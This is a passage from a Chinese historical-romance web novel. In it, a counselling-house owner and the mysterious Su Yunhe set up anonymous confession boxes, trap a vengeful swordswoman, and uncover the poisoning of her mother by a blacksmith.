荀素雪亲热地揽住韩诗情的手臂:“这位是我的姨母,永昌侯夫人。姨母近来心中有些烦闷,我便想起你这里,带她过来坐坐。”她说完又转向苏云鹤,“苏公子也在,有礼了。”
苏云鹤回以微笑,和韩诗情一同向永昌侯夫人沈氏行礼。
沈氏见二人均是容色倾城,举止得体,心中颇为喜欢,可当多看了苏云鹤几眼后,她眼底掠过一丝审视。
“苏公子看着面善。”她迟疑片刻,“我们是否在哪里见过?”
苏云鹤微微一笑,礼貌道:“晚辈常年在外,近日方回京城,应当无缘得见夫人。人有相似,夫人许是认错了。”
“或许吧……”听对方如此说,沈氏也未再多言,在荀素雪的搀扶下于上首坐了。
然而,将这番对答尽数听去的韩诗情,心底却悄然浮起一缕疑云。
永昌侯府的夫人觉得他面善,他又能随口道出礼部侍郎的性情……
这沈夫人……当真是认错人了吗?
4. 第四回
韩诗情心中疑云翻涌,面上却未显半分。恰巧苏云鹤以男子不便为由提出先回内院歇息,这个小插曲便暂且揭过。
待他走后,韩诗情收敛心神,坐到沈氏对面,温声问道:“夫人今日前来,所为何事?”
沈氏端起茶盏,轻轻抿了一口,神色有些飘忽:“没什么事,只是心中烦闷,听闻你这解忧阁是个开解人的地方,便来与你说说话。”
话虽如此,可那欲言又止的模样,别说韩诗情,便是一旁伺候的杨雨露都能看出她满怀心事。
荀素雪在一旁忍不住道:“姨母,你明明……”
“素雪。”沈氏轻声打断她,摇了摇头,示意她莫要多言。
韩诗情看在眼里,心中了然,却也不追问,只顺着她的话说:“夫人说的是,解忧阁本就是让人解忧消愁的地方。你想聊什么,诗情都愿意听。”
于是,两人便从京中时兴的花样聊起,说到近来的天气,又提及永昌侯府院中那几株开得正好的秋菊。
沈氏起初还有些拘谨,渐渐便放松下来,话也多了些。只是有好几次,她几乎要脱口而出些什么,最终还是咽了回去,转而说起旁的事情。
荀素雪在一旁看得着急,却又不好插话,只能不时给韩诗情递眼色。
一个时辰过去,茶已凉透。
沈氏起身告辞,神色确实比来时舒展了些许。她握住韩诗情的手,轻道:“今日与你闲聊许久,心里舒坦些了。你是个通透的人,说话也中听。”
韩诗情温婉一笑:“夫人过奖。若觉得舒心,日后常来便是。”
“好,好。”沈氏点头,又朝荀素雪道,“咱们回吧。”
荀素雪搀着沈氏离去,临出门前,还神色复杂地看了韩诗情一眼。
送走她们二人,韩诗情坐回椅子上,望着窗外出神。
今日这番闲谈,她虽给了沈氏一些情绪上的安抚,可那根本的问题显然未解。沈氏心有隐痛,碍于身份、顾虑,或是别的什么,终究没能说出口。
不只沈氏,这封建社会中生存的女子,又有多少是如此?
她们怀着满腹心事而来,有些能说,有些却只能藏在心底。
韩诗情忽然想起现代的匿名线上咨询。
在那个时代,隔着屏幕,对方不知晓自己的身份,反倒能让许多人卸下心防,倾吐一些不敢说、不能说的秘密。
若是在这个朝代,也能有这样完全匿名的方式就好了……
正想着,门外传来脚步声。
苏云鹤缓步而入,见韩诗情独自一人发怔,轻唤了两声:“韩姑娘?”
韩诗情这才回过神,抬眸看他,“公子。”
“在想什么?这般入神。”苏云鹤在她对面坐下,目光温和。
韩诗情沉吟片刻,将许多女子有难言之隐的困境说了出来,然后道:“我想做一个完全匿名的倾诉箱,连我自己都不知对方是谁,或许能让许多不愿开口的人诉出自己的心事。可这匿名倾诉既要保住来人隐私,又连我都不能知晓来人身份,实在是个难题。”
苏云鹤静听了许久,听到这时,忽地想起些什么,喜道:“或许我能帮上忙。”
见韩诗情投来期待的目光,他又道:“我会制作一种特殊的匣子,名叫‘八门机关匣’。”
韩诗情眼睛一亮,“公子还请细说。”
苏云鹤缓缓道来:“此匣子表面刻有奇门遁甲中的八门方位,与内里的机关巧妙相连。初次开启,可任选其中四门按压,但须牢记先后次序。此后若再开启,必得依照首次的顺序,依次按压对应方位,方能打开匣子。”
韩诗情心中一动,面上渐露喜色。
苏云鹤见她听得入神,接着说道:“我们可寻一处静室,备上几个这样的匣子。若有人需倾诉心事,便取走一匣,自行设好顺序,将心事写在纸上放入,再悄悄归还。”
“可我们既不知对方是谁,又怎知晓他设定的顺序?如何开启?”韩诗情问。
“我会做出可打开所有机关匣的钥匙,你以钥匙拆开匣子,客人凭编号取回自己的匣子,再自行开启取信。”苏云鹤耐心解释,“此外,匣子内设有特殊机关,若有人试图强行开启它,会将信笺尽数毁去。这样,纵使匣子落入歹人之手,也绝无泄密之忧。”
“这机关匣当真极好!”
韩诗情大喜,可欣喜之余,一个念头又悄然浮起:苏云鹤出身书香门第,四艺皆精乃是本分,学些武功傍身也属正常。可如此巧夺天工的机关之术……他从何处学来?
她抬眼看向苏云鹤,对方正垂眸饮茶,侧脸在午后的光影中显得格外清雅。
罢了,韩诗情收回思绪。
每个人都有不愿言说的过往,只要他无害人之心,又何必深究?
“如此,便有劳公子制作这机关匣了。”她温声道,又似想起什么,对杨雨露道,“解忧阁可匿名倾诉一事,记得告知郡主。”
杨雨露领命称是。
苏云鹤了然:“你是想让沈夫人知晓?”
韩诗情点头,“若她真有口难言,这般完全匿名的方式,或许能让她放下顾虑。待到匿名的人多些时,她便会放心前来了。”
计划既定,众人便着手准备。
苏云鹤制作八门机关匣,为了便于大家记住,他将八门方位改为了数字。
苏影与杨雨露收拾出后院西角一间闲置的小屋,每日午时至未时,他们不进后院,只容客人从后门自行进出。
数日后,三十个精巧的八门机关匣制作完成。每个匣子约巴掌大小,以硬木制成。
苏云鹤将一把造型奇特的铜钥匙交给韩诗情,韩诗情接过,一切准备就绪。
翌日,匿名倾诉正式开始。
小屋的门虚掩着,屋内桌上整齐摆放着三十个八门机关匣,旁侧备有纸笔。墙上贴着一张简短的说明。
起初几日,并无人来。
到了第六日傍晚,杨雨露去收拾时,发现其中一个八门机关匣不见了。隔日清晨,那匣子又悄然出现在桌上。
韩诗情用钥匙打开,里面果然有一张折好的信笺。
自此,匿名信渐渐多了起来。
这些倾诉,大多并无特别之处,皆是些女子们普遍面临的困境:夫婿待她们冷淡、婆婆时常刁难她们、连生数胎却无男丁等等。
因这些
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信均为匿名,不涉及旁人隐私,除去一些特定的、或可猜出书信人的部分,韩诗情都会与苏云鹤探讨,既听听男子视角,也教教他揣摩旁人心思的法子。
这一日午后,二人又在前厅探讨近日收到的几封匿名倾诉信笺。
韩诗情展开其中一封,说这个常来倾诉的女子颇为特别。
“哦?如何特别?”苏云鹤问。
“此人烦忧的倒不是特别的事,和许多女子一样,是深闺妇人的寂寞、无趣,与夫君日渐疏离。”韩诗情细细回想着,“可那笔迹清秀婉约,像是个十七八岁的少女所写,叙述自己的处境时,又仿佛已活了大半辈子。而且……”
苏云鹤下意识追问:“而且什么?”
韩诗情顿了顿,指尖轻轻拂过信纸:“这笔迹有些眼熟,似是在哪里见过。只是……我虽认识京中不少才女,能写出这一手好字的,却一个都想不起来。”
苏云鹤走到她身侧,看了信笺一眼,淡淡一笑:“确实有些特别。不过既是匿名,便不必深究是谁了。”
“说的是。”韩诗情将信笺收回,正要再说些什么,苏影端着一个木托盘走了进来。
“公子,韩姑娘,这是今日午后收到的新信笺。”苏影将托盘放在桌上,上面整齐摆着六个八门机关匣。
韩诗情取出钥匙,随手拿起最左边的一个,轻轻插入锁孔。
“咔嗒”一声轻响,匣盖弹开。
“啊!”
突地一声惊叫,韩诗情猛地将匣子扔到桌上,整个人向后连退两步。
苏云鹤心下一凛,一个箭步护到她面前,脱口而出:“你可还好?!”
见韩诗情微微摇头,他心中稍定,这才想起去察看那只匣子。待看清其中之物,他神色骤然一沉,眉宇间也蒙上了一层阴翳。
原来,匣子里没有匿名倾诉的信笺,只有一只死老鼠。那老鼠僵直地躺在匣底,灰褐色的皮毛上沾着暗红的血渍,一双浑浊的小眼睛圆瞪着,在午后的光线中,显得格外骇人。
苏影与杨雨露见状,也倒抽一口冷气。
苏云鹤让韩诗情先坐下歇会儿,又唤苏影将剩下几个八门机关匣打开,并沉声提醒道:“开的时候盖子朝前,小心些,莫要中了什么暗器。”
苏影即刻照做,面色凝重,依言取出钥匙,将剩余几个八门机关匣一一开启。
好在,里面只是寻常信笺,并无异物。
苏云鹤这才稍稍放心,转身看向韩诗情。
她脸色仍然有些发白,但已镇定下来,只是眉头一直紧锁着。
杨雨露怒道:“是谁这般无聊!姑娘,咱们报官吧!”
韩诗情苦笑,“莫不说官府愿不愿意管这种小事,便是连这人是谁都不知晓,如何报?”
苏云鹤担忧地看着她,那目光中,有对她的心疼,有因旁人欺她而产生的愤怒,还有些说不清道不明的东西。
窗外秋风渐起,卷起几片枯叶,拍打在窗子上,发出令人烦躁的声响。
“别怕,”他忽然开口,“有我在。”
短短几个字,却带着令人心安的重量,他很快说道:“我定不让任何人伤害你。”
5. 第五回
听着苏云鹤这话,韩诗情微微一怔,心底涌起一丝暖意,袖中那一直紧攥的拳头也渐渐松开了。
待四人情绪皆平复下来,便围坐桌前,开始商议对策。
“咱们解忧阁为女子出头,怕是惹了许多男子不快。”杨雨露忿忿道,手指绞着衣角,“单是这个月,便已有两个男子来闹事,却不知能干出这等恶事的,究竟是谁。”
苏影提议道:“公子,韩姑娘,不如我暗中盯着那间小屋,看看究竟是谁来捣乱。”
韩诗情轻轻摇头,动作很慢,仿佛每个字都经过深思:“不可。既然做的是匿名倾诉,若我们在暗处监视,日后谁还敢安心前来?”她顿了顿,声音低了几分,“非到万不得已,绝不能失了信义。”
“可是不暗中监视,我们又如何能知晓那人是谁……”杨雨露眼中满是担忧,随口道,“要不找个外人,帮咱们盯着?”
听她这样一说,韩诗情与苏云鹤竟同时抬眸,眼神交汇的瞬间,异口同声道:“有办法了。”
苏云鹤做了个“请”的手势,目光温和。
韩诗情再度开口:“找什么人帮忙都不行,不过,找物件帮忙却可以。”
“啊?“杨雨露和苏影均是不解。
她解释道:“听闻江湖上有一种追踪粉,沾在鞋底不易脱落,能在地上留下淡淡的印记。我们将它撒在小屋前,若是看到地上有可疑的脚印,便可循着脚印去找人。”
“韩姑娘与我的想法不谋而合。”苏云鹤眼中掠过一丝赞许,“既然寻常路走不通,那便走江湖的路子。”
韩诗情微微颔首,也不问苏云鹤能否寻得此物,只道:“那这追踪粉,便有劳公子了。”
她这般直接相托,像是早已确信他必然有办法,这份笃定里,藏着的是本能的信任。
而苏云鹤,也并未让她失望。
自这日起,杨雨露便将粉末细细撒在小屋门前及周边小径上。
随后的几日,匿名箱中仍每日出现令人作呕之物,如死蟑螂、臭肉块。
——“你欠下的血债,迟早要还!”
傍晚,苏影面色沉重地念完这封用鲜血书写的咒骂信笺后,众人皆面露难色。那血书上的每一个字,仿佛都透着怨毒和恨意。
最奇怪的是,门前追踪粉映照出来的,清一色都是女子小巧的绣鞋印迹,并无任何可疑的脚印。
“那人究竟发生何事。”苏云鹤叹道,“怎会说得这般严重。”
“时至今日,我们一点头绪都没有……”韩诗情发出一声长叹,心中升起一个念头。
其实那念头已不是第一次被她想起,可每次都被她强压下去。
苏云鹤似看穿了她,试探着道:“或许,真是我们想的那个,最不愿面对的可能……”
韩诗情心中一紧,奇道:“公子已知晓我心中所想?”
“不只你心中所想。”苏云鹤坦言道,“这想法在我脑海中也不只一日了……只是我们都不愿承认,因此你没提,我便也不说。”
杨雨露和苏影听得一头雾水,两人对视一眼,又同时疑惑地看向他们。
“姑娘,你们究竟在说什么?”杨雨露问。
韩诗情欲言又止,苏云鹤知她为难,便含蓄地解释道:“既有人将东西送进来,又没男子进门,那便只有一种可能……”
话未说尽,意思却已明确。
“怎么可能?”杨雨露难以置信,“女子才不会报复我们。会不会是江湖中的武林高手,飞檐走壁进来,因此才未留下脚印?”
她自认想出了最合理的可能,可苏云鹤接下来的话彻底否认了这个猜想,也打碎了韩诗情最后的希望。
苏云鹤道:“我耳力极佳,因此每日小屋接收信笺的时辰,我都弹些曲子分散心神,便是怕从脚步声中听出前往后院的人是谁。不瞒你们说,这两日脚印找不出线索,我便擅自做主留意了往来的人。确实,只有女子前来。”
“可是……”杨雨露仍不愿相信,“我家姑娘做的事,桩桩件件全是为女子们着想,为何会有女子来报复我们?”
这些话,无疑是向韩诗情心中捅刀子,刺向她心底最柔软之处。
苏云鹤忙给杨雨露使了个眼色,杨雨露会意,即刻闭口不言。
“人心难测。”苏云鹤柔声安慰道,“或许是有什么误会,或许是受人挑唆……”
韩诗情强撑着摇摇头,示意自己安好:“你说得对,或许是与我们生了什么误会。”
她这样说着,心中却还是空落落的。那是一种仿佛被真心相待之人伤害怨恨的感觉,终是令人伤感。
苏云鹤不忍见她难过,便转了话题:“当务之急,是先将她找出来。”
众人点头,各自收敛了内心的情绪。苏云鹤重新拿起那封血书,想着这是与对方有关的唯一物件,或许能从中找到线索。
他将那血书看了许久,才再开口:“这血书中的字迹虽写得潦草,却明显是刻意为之。此人笔锋力道不似寻常人,应有不俗的内力。”
韩诗情眸光一凝:“公子是说……此人出自江湖?”
“十之八九。”苏云鹤点头,“寻常女子纵有怨恨,多诉于口舌或后宅手段。如此雷霆作风,很像是武林中人。只是……”他略顿,眉间轻蹙,“她究竟是独行侠女,还是背后另有势力?为何针对解忧阁?所谓血债又是何指?这些尚无线索。”
韩诗情忍不住道:“若是江湖中人,她对付敌人的手段,想来也会是江湖手段。”
苏云鹤应道:“不错,所以为今之计,我们可以引蛇出洞了。”
“引蛇出洞……”韩诗情低声重复,眼底闪过一丝坚定。
翌日清晨,解忧阁挂了牌子,歇业一日。
韩诗情主仆与苏云鹤主仆乘着马车,来到城郊的凌云山脚下。
山道蜿蜒向上,林木葱郁,清晨的薄雾尚未散尽,为这山间平添了几分清冷寂寥。
“此处已到清心庵地界,公子便在这里等我们吧。”韩诗情在杨雨露的搀扶下下了马车,对苏云鹤说道。
苏云鹤也跟着下了车,站在马车旁,望着云雾缭绕的山道,眉间隐有忧色:“真的不需要我陪你上去吗?那人对解忧阁怨恨颇深,若真在庵中,只怕你不好应对。”
韩诗情轻轻摇头,语气坚定:“清心庵是女子清修之地,男子入内颇为不便。何况,雨露功夫不错,会保护好我,你且安心。”
她说得有理,可苏云鹤仍是放心不下。最后,苏云鹤从怀中取出一个精巧的响箭,塞进她手中:“若遇到危险,切莫犹豫。”
响箭带着苏云鹤掌心的余温。韩诗情握紧了它,点了点头。
苏云鹤又深深看了她一眼,叹道:“希望她真去了此处。”
韩诗情跟着叹了口气
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,望向山腰处隐约可见的庵堂飞檐:“庵中收留了许多心碎无助、无处可去的女子。若那人恨我们至此,想来心中也满是痛苦,或许会去那里寻求一丝慰藉。这是我们能想到的最后的法子,只能去试一试。”
话已至此,苏云鹤知她心意已决,不再多劝,只郑重叮嘱:“一切小心。”
两对主仆就此在山脚分开。苏云鹤与苏影留在马车中,目送那两道纤细的身影没入苍翠的山林之间。
山道虽不算陡峭,但青石板路因晨露而湿滑。韩诗情与杨雨露互相搀扶,小心翼翼地向上走着。
行至半山腰一处缓坡时,杨雨露忽然惊叫一声,脚下一滑,整个人向旁歪去。
“雨露!”韩诗情急忙扶住她。
杨雨露单脚站立,扶着韩诗情手臂,眉头紧皱,倒吸着凉气:“姑娘,我的脚腕……好像被什么东西咬了……”
韩诗情扶她在路边一块大石上坐下,蹲下身查看。只见杨雨露的右脚脚腕上留有两个血点,血色已有些发乌。
“糟了,是毒蛇……”韩诗情蹙眉,“毒蛇所在之处,附近必有解毒的草药,你等我。”
“可是……你一个人去太危险了。”杨雨露疼得脸色发青,却仍试图去拉她。
“别逞强。”韩诗情按住她,“你在这儿等着,别乱动。我去找找,很快回来。”
说完安抚地拍拍她的手,便不顾她的阻拦,转身朝着来时的一片茂密灌木丛走去。
她刚走出不远,眼前便闪过一道影子,她定睛一看,是一红衣女子。
女子脸上蒙着黑布面罩,只露出一双冰冷的眼睛,手中握着一柄长剑。
“你是谁?”韩诗情本能地后退一步,后背抵上了一棵粗糙的树干。
红衣女子没有立刻回答,她缓步上前,直到两人距离不足一丈,才停下脚步,声音透过面罩传来,带着讥讽的寒意:“你上清心庵,不就是为了找我吗?”
“你……你……”韩诗情瞳孔骤缩,惊得说不出话。
红衣女子发出一声轻蔑的冷笑,“看来那些小礼物真是吓着你们了,连去尼姑庵的法子都想得出来?”
韩诗情深吸一口气,勉强压住心中的惊悸和恐惧,才道:“你为何要这样做?”
“为何?”听到这个问题,红衣女子像是听到了天大的笑话,眼中戾气暴涨,又向前逼近一步,一字一顿,“因为你害了我娘!”
“我没有害过人!”韩诗情背靠着树干,已退无可退,“姑娘,你先冷静些,跟我说说发生了什么事,这其中必有误——”
“没有误会!”红衣女子冷声打断,带着压抑不住的恨意,“韩诗情,你将我娘害得瘫在床上,今日,我便让你也尝尝那滋味儿!”
韩诗情浑身一颤,冷汗瞬间浸湿了后背。
她想起袖中的响箭,慌忙取出来,可手抖得厉害,竟将响箭掉在了地上。
红衣女子见状,先是一愣,随即爆发出刺耳的大笑:“哈哈哈,真是没用!连个求救的响箭都拿不稳!”
她脚尖随意一踢,便将那响箭踢得更远。
“我娘这辈子,起不来了。从此以后,你也一样。”
言罢,长剑出鞘,她手腕一抖,剑尖直刺韩诗情右手手腕,这一剑又快又狠,意图挑断其手筋。
韩诗情骇然失色,想要躲闪,却因极度恐惧而僵在原地,一动不动。
6. 第六回
眼看剑尖就要刺中韩诗情的手腕,千钧一发之际,一道白色绸带忽从斜里飞出,如游龙般精准缠上剑身。
那绸带薄如蝉翼,瞧着轻柔,却叫红衣女子使尽浑身力气也撼动不得分毫。
她顺着绸带望去,只见来人一身胜雪白衣,手持玉骨折扇,竟是本该在山下马车中等候的苏云鹤。
她心头猛地一沉,看苏云鹤这一手以柔克刚的功夫,便知自己绝非对手,当即不再恋战,撒手弃剑,抽身欲退。
苏云鹤却不追击,只将长剑随手掷在地上,身形一晃,已护在韩诗情身前。
而红衣女子甫一转身时,脸色骤变。
苏影不知何时已悄然立于她身后。她再一侧身,本该被毒蛇咬伤的杨雨露,竟也好端端的立在道旁。
前有苏云鹤,后有苏影与杨雨露,她这才恍然:自己早已落入对方圈套。
“你们……”红衣女子环视一周,最终死死盯住韩诗情,咬牙道,“好算计。”
此时韩诗情面上已无半分惊惶,唯余一片沉静淡然。
“若真上清心庵寻你,自然寻不着。可若引你主动来寻我,便容易得多。”她自苏云鹤身后缓步走出,声音温和,“方才你出手时,眼中恨意我看得真切。令堂之事……当真与我有关?”
“自然与你有关!”红衣女子自知难以脱身,索性不再掩饰,恨声道,“若非你们逼赵敏兰逃婚,我娘又怎会遭此大难!”
众人皆是一怔。
他们确曾相助赵敏兰,却何曾逼她逃婚?
韩诗情神色肃然,再次问道:“还请姑娘明言,你究竟是何人?令堂发生了何事?”
红衣女子冷冷报出自己的名姓:“叶霜。”
“叶霜?”苏影脱口道,“难道是……”
苏云鹤接过话头:“原来是‘叶落无痕’叶女侠,久仰侠名,失敬。”
叶霜斜了他一眼,终是将身世道出。
她母亲是城中颇有名气的媒婆陈心红,人称陈婆子,陈婆子守寡多年,靠着为人说媒将女儿拉扯大。
因着媒婆的营生,陈家名声不佳,除去与赵敏兰之父赵德海交好,她们与其他街坊邻里的关系都不算和睦。
叶霜性子刚烈,十五岁时,因不满母亲终日为人牵线招来的闲言碎语,大吵一架后离家闯荡,渐在江湖挣得侠名。岂料再度归家,母亲已瘫卧床榻、神志不清,身边仅有一名赵德海雇来的丫鬟勉强照料,直至她归来。
听到此处,韩诗情眼中掠过一丝不忍,又想起近些日子发生的事,试探道:“令堂瘫痪是与敏兰有关?且与我解忧阁,也有关系?”
“你还在装糊涂?!”叶霜眼中几乎迸出火星。
她强压愤懑,将来龙去脉继续道出。
原来赵敏兰曾在街上遭窃,幸得城东薛老爷之子所救。两人彼此生了情意,便请陈婆子做媒,定下婚期。薛老爷出手阔绰,许了陈婆子三十两谢媒银。
谁知成亲前夕,赵敏兰被解忧阁掳走,婚事办不成了,人也不见踪影。
陈婆子不但没了三十两银子,还倒贴了几回与赵家宴饮商谈的花销,心中憋闷,便去松雀楼饮酒消愁。不料醉酒失足,竟从二楼楼梯滚落。
“若不是你们拐带人口,毁了薛赵两家的亲事,我娘怎会去喝酒?又怎会跌下楼梯!”说到此处,叶霜已是泪流满面,声音哽咽着控诉解忧阁的恶行。
众人听罢,这才明白,她听了此番说辞,无怪乎将母亲瘫痪之祸全算在解忧阁头上了。
不过是个受了蒙蔽的可怜人。
韩诗情对她连日来的偏激举动已生出几分体谅,只是暗叹误会太深,便温声解释:“叶姑娘,我们从未逼迫敏兰留在阁中,她也从无意愿嫁给薛老爷之子。你是被她父亲骗了。”
“骗我的是你们!”叶霜高声驳斥,“我曾借着入学堂的机会寻她,一提带她回家,她便百般推拒,口口声声说离开此地便会没命。我再三追问,她却不敢吐露半句。若不是你们以性命相胁,她怎会如此?况且,我观察多日,她从不敢踏出解忧阁半步!”
韩诗情的神色依旧平静,也不反驳,只缓缓道:“我若没有猜错,你与她重逢时,只装作偶遇,并未提及她与薛家长子成亲之事,也未提到令堂,可对?”
叶霜闻言一怔,细细回想。
她自赵德海处听得赵敏兰被拐至解忧阁的消息,便扮作学子混入,见到赵敏兰时,对方正在庭中洒扫。
“敏兰?真是你?你怎会在此?”她假作惊讶,上前询问。
“霜儿?”赵敏兰又惊又喜。
赵家与叶家本是旧交,二人幼时便相识,可听叶霜提出此问,一想到家中遭遇,便不愿多言,只低声道:“我在这儿帮工。”
“帮工?”叶霜故作不解,“你家虽不富贵,却也不至让你出来受苦。随我回家吧。”
一听“回家”二字,赵敏兰顿时如受惊的兔子,颤声道:“不、不能回去……我若离开这儿,会死的……真的会死!”
见她惊惶至此,叶霜连番追问,她却不肯多说,只反复强调绝不能离开解忧阁。
当时情景,竟与韩诗情所言一般无二。叶霜不由得问道:“你如何知晓?”
韩诗情轻叹一声,将赵敏兰终日遭受父亲虐打之事娓娓道来,有那般经历,听到让她回家,如何能不吓得魂飞魄散?
叶霜难以置信:“这……这不可能。赵大叔与我娘相交多年,我娘瘫倒后,他不仅出钱雇人照料,还特意派人给我捎信。他是我家的恩人,也是个大善人,怎会日日虐待亲生女儿?”
韩诗情再叹一声,道:“他善待你母亲、给你报信,想是知你有些江湖本事,想借你之手逼女儿回家……你先入为主,认定他是慈父,又听敏兰惧怕离开,自然便误解了我们。此外,真正要与她成亲,或说是要纳她为妾的,并非薛老爷之子,而是薛老爷本人。”
“什么?”叶霜失声道,“薛老爷年纪比赵大叔还大,且家中已有七八房妾室!”
“所以,”韩诗情望着她,目光清透,轻声问出最关键的一句,“你还相信敏兰是自愿嫁去薛家的么?”
“我……”这一问,问得她一时有些发懵。
没等她细想,一旁静听许久的苏云鹤忽然开口,抛出一个更令她难以接受的问题:“还有一事,陈大娘从酒楼摔下,究竟是意外,还是有人蓄意为之,叶姑娘可曾细查?”
听闻此言,叶霜浑身一颤,只觉一股寒意窜上脊背:“你…
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…此话何意?”
苏云鹤言辞委婉:“据我所知,薛老爷欲纳敏兰为妾是真,但赵铁匠虽苛待女儿,却未必肯将女儿嫁给薛老爷。陈大娘说亲一事,应当并未发生……”
话说到这里,那可怕的猜想已浮出水面。
叶霜不愿相信,猛地摇着头,喃喃道:“所以……所以……”
谁也没有说破——陈婆子遭此横祸,或许正因赵德海知晓她有个江湖闻名的侠女女儿。
良久,叶霜才平静下来,涩声道:“你们的意思是……赵大叔为借我之手报仇,便想法子害了我娘。而我娘因说媒失利出事,本就不甚光彩,我亦不会四处声张。见他待我娘周到,又与我家交好多年,便轻信了他所有的话,将你们……当作了道貌岸然的恶人……”
其中关窍,直至此时终于想通。
韩诗情语气温和:“若仍有疑惑,你可以亲自去问问敏兰。我们绝不拦着你见她,她总不会骗你。”
听她说得如此笃定,甚至愿意让自己与赵敏兰当面对质,叶霜心头那堵坚信不疑的墙,忽然裂开了缝隙。
她一想到母亲可能因自己间接受害,自己又险些被人利用、误伤无辜,便觉得悔恨交加,无力地蹲到地上,抱着头,低声抽泣。
韩诗情心中不忍,蹲到她身侧,柔声安慰了一番。
临近午时,事情暂时有了方向,几人便一同返回解忧阁。
回到阁中,韩诗情唤来赵敏兰,让她将前因后果细细说与叶霜。叶霜听罢,对那所谓恩人的最后一丝期望也彻底熄灭。
赵敏兰知自己处境特殊,说明情况后,又道了几声抱歉,便退回学堂了。
待她离去,叶霜压抑许久的怒火骤然爆发,“噌”地起身:“我去杀了他!”
音未落,人已提起长剑,欲冲出门。
苏云鹤朝苏影微一抬首,苏影当即会意,移步挡在门前,劝道:“叶女侠,切勿冲动。”
“让开!”叶霜怒目而视,“再拦我,休怪我剑下无情!”
苏影纹丝不动,只沉声道:“叶女侠若执意要去杀人,便先过了我这一关。”
“就凭你?”叶霜怒在心头,将苏影的话当成了挑衅,一剑疾刺而出。然而苏影只轻巧侧身半步,便让剑锋落空。
叶霜脸色一白,她成名多年,竟连一个书童的衣角都碰不到?
她不由看向苏云鹤。书童已有如此身手,那身为主子的他……
正自震惊恍惚之际,韩诗情的声音自后传来:“人外有人,天外有天。姑娘若总用那以暴制暴的法子,只怕终有一日反招灾祸。”
苏云鹤亦颔首道:“正如今日,你若真误伤了韩姑娘,余生岂能心安?赵铁匠诓骗你是事实,但他害你母亲之事,终究只是猜测,并无实据。”
叶霜一时语塞,默然良久,终于渐渐冷静下来,颤声道:“那……难道就任他逍遥法外?”
苏云鹤轻轻摇头,“若他当真做下恶事,自然不能逍遥法外。只是眼下最要紧的,是先救你娘。”
话音落下,只听“铛”地一声轻响,叶霜手中的剑已垂落在地,她整个人不自觉地向前踏了半步,眼中似闪出一抹光来。
“她已瘫痪多日,你有回天之法?!”
7. 第七回
有无回天之法,苏云鹤也不敢担保,只说尚存一线希望。
众人当即匆匆出门。
前往陈家的路上,叶霜忍不住问,为何连面都未见,便认定母亲尚有救治之机。
苏云鹤解释:“赵铁匠既编出敏兰逃婚之事骗你,必不能让令堂意识清醒,这戏,才能演得下去。”
叶霜听得心中希望渐明,连连点头。
到了陈家,陈婆子果然神志昏沉,只卧在床上含糊呓语,身旁唯有一名丫鬟守着。
这屋子虽不算富贵,却也窗明几净,几件半旧的红木家具擦拭得光亮。陈婆子做了一辈子媒,虽名声不佳,积攒下的银钱却是不少。
几人遣退丫鬟,苏云鹤上前为陈婆子细细诊脉,片刻后抬眼道:“令堂如今这般,是被人喂了失心散。”
叶霜浑身一颤,脸色骤然惨白:“赵德海这个畜生!”
她转头看向床上昏沉的母亲,看着她受此大难,又是心疼,又是愧疚,眼泪瞬间夺眶而出,蹲伏到床边,嘶声道:“娘……都是女儿不好,对不起……娘……”
韩诗情走近,轻轻抚了抚她的肩。
苏云鹤转而吩咐苏影:“阿影,去查近日药铺中曾售出过川芎、远志、天麻、乌头这几味药材的记录。哪怕只单独售出一味,也算上。”
“是。”苏影领命而去。
叶霜此时已哭得浑身发颤,连话都顾不上说,韩诗情便代她问道:“公子,陈大娘的神智能否恢复?”
苏云鹤点头,眼中掠过一丝温和的笑意:“不但可以,我还要告诉你们一件喜事。陈大娘瘫痪并非摔伤所致,而是因失心散的毒性侵损经脉。因此,只要为她解了毒,不仅神智能复,瘫痪亦可痊愈。”
“当真?!”
叶霜原本沉浸在母亲遭难的悲痛中,听闻此言,眼中骤然迸出光亮,仿佛溺水之人抓住浮木。她毫不犹豫地跪倒在苏云鹤面前,朝着他重重磕下头去:“苏公子,求你救救我娘!”
“叶姑娘放心,我必当尽力。”苏云鹤温声应道。
韩诗情与杨雨露见叶霜行此大礼,连忙一左一右将她扶起,令她在椅子上坐下。
这一扶之间,韩诗情留意到一件事。
方才叶霜下跪时,苏云鹤虽面有恻隐,却对这般大礼未见局促。
这温润如玉的公子,似乎……已习惯了受人跪拜?
这念头一闪而过,令韩诗情微微一怔。
此时苏云鹤已取出随身携带的银针,先为陈婆子点上睡穴,继而凝神运针,徐徐逼出她体内沉积的毒性。
如此过了一个时辰,陈婆子眼皮轻颤,缓缓睁开了眼。
“娘!”叶霜扑到床前。
“霜儿……?”
陈婆子望着多年未见的女儿,叶霜见母亲神智清明,两人一时皆哽咽难言,相拥痛哭。
“是女儿不孝……是女儿不孝……”叶霜泣不成声。
陈婆子亦泪流满面,只轻拍她的背心,低声安抚。
韩诗情与苏云鹤对视一眼,悄然退至一旁,未去打扰这对重逢的母女。
母女二人相诉许久,方才想起屋中尚有客人。
叶霜侧身,又向苏云鹤道谢,苏云鹤淡淡一笑,只道不需客气,随即转向陈婆子,语气温和:“陈大娘,你可知自己服下了失心散?那东西是如何入口的,你心中可有线索?”
陈婆子凝神回想片刻,茫然摇头:“老身不知那是什么东西,也不知是何时服下的。”
苏云鹤又道:“此药服下后约三个时辰才会发作。大娘再仔细想想,那日意识尚清时,都服用过哪些食物?”
陈婆子眉头渐蹙,忽而眼神一凝:“那一日……赵铁匠曾来找我,一同用了些点心。”
这个名字,几乎已是所有人心中的答案。
可如今已过了多日,那点心早已被赵德海毁掉,陈婆子也不能仅凭与他吃过一顿闲饭,便指证他害了自己。
几人又商议了一番,决定让陈婆子先继续装病,只对那丫鬟说她神智已损了根本,回天乏术。那丫鬟若是赵德海的人,便会将此事告知他,他们也可顺藤摸瓜。
叶霜原本想留在家中照看陈婆子,但因要试探那丫鬟,被众人劝去了解忧阁暂住。
如此观察了一日,几乎可以确认丫鬟并非赵德海的人,日常照顾陈婆子时也算上心。
案子虽无进展,却也令人欣慰,至少在这世上,又少了一个助纣为虐的恶人。
只是,还剩下最后一个关键:该如何找到赵德海为陈婆子下药的证据。
正当韩诗情思虑此事时,苏影带回了几味药材的售卖药铺名录。她翻阅片刻,心中便有了计较。
此时已近傍晚。院里,苏云鹤左手持碗,右手握着药杵,正专注地捣着泥浆。他偶尔停下,往里添些新料,神色沉静如暮色。
他正在为人皮面具做准备。
韩诗情坐在他身侧,静静地望着他,不禁在心中感叹,这个容貌清绝、品性高洁,又有如此才能的男子,究竟是何人呢?
失神许久,她下意识问出口:“公子,在这世上,可有何事,是你做不了的?”
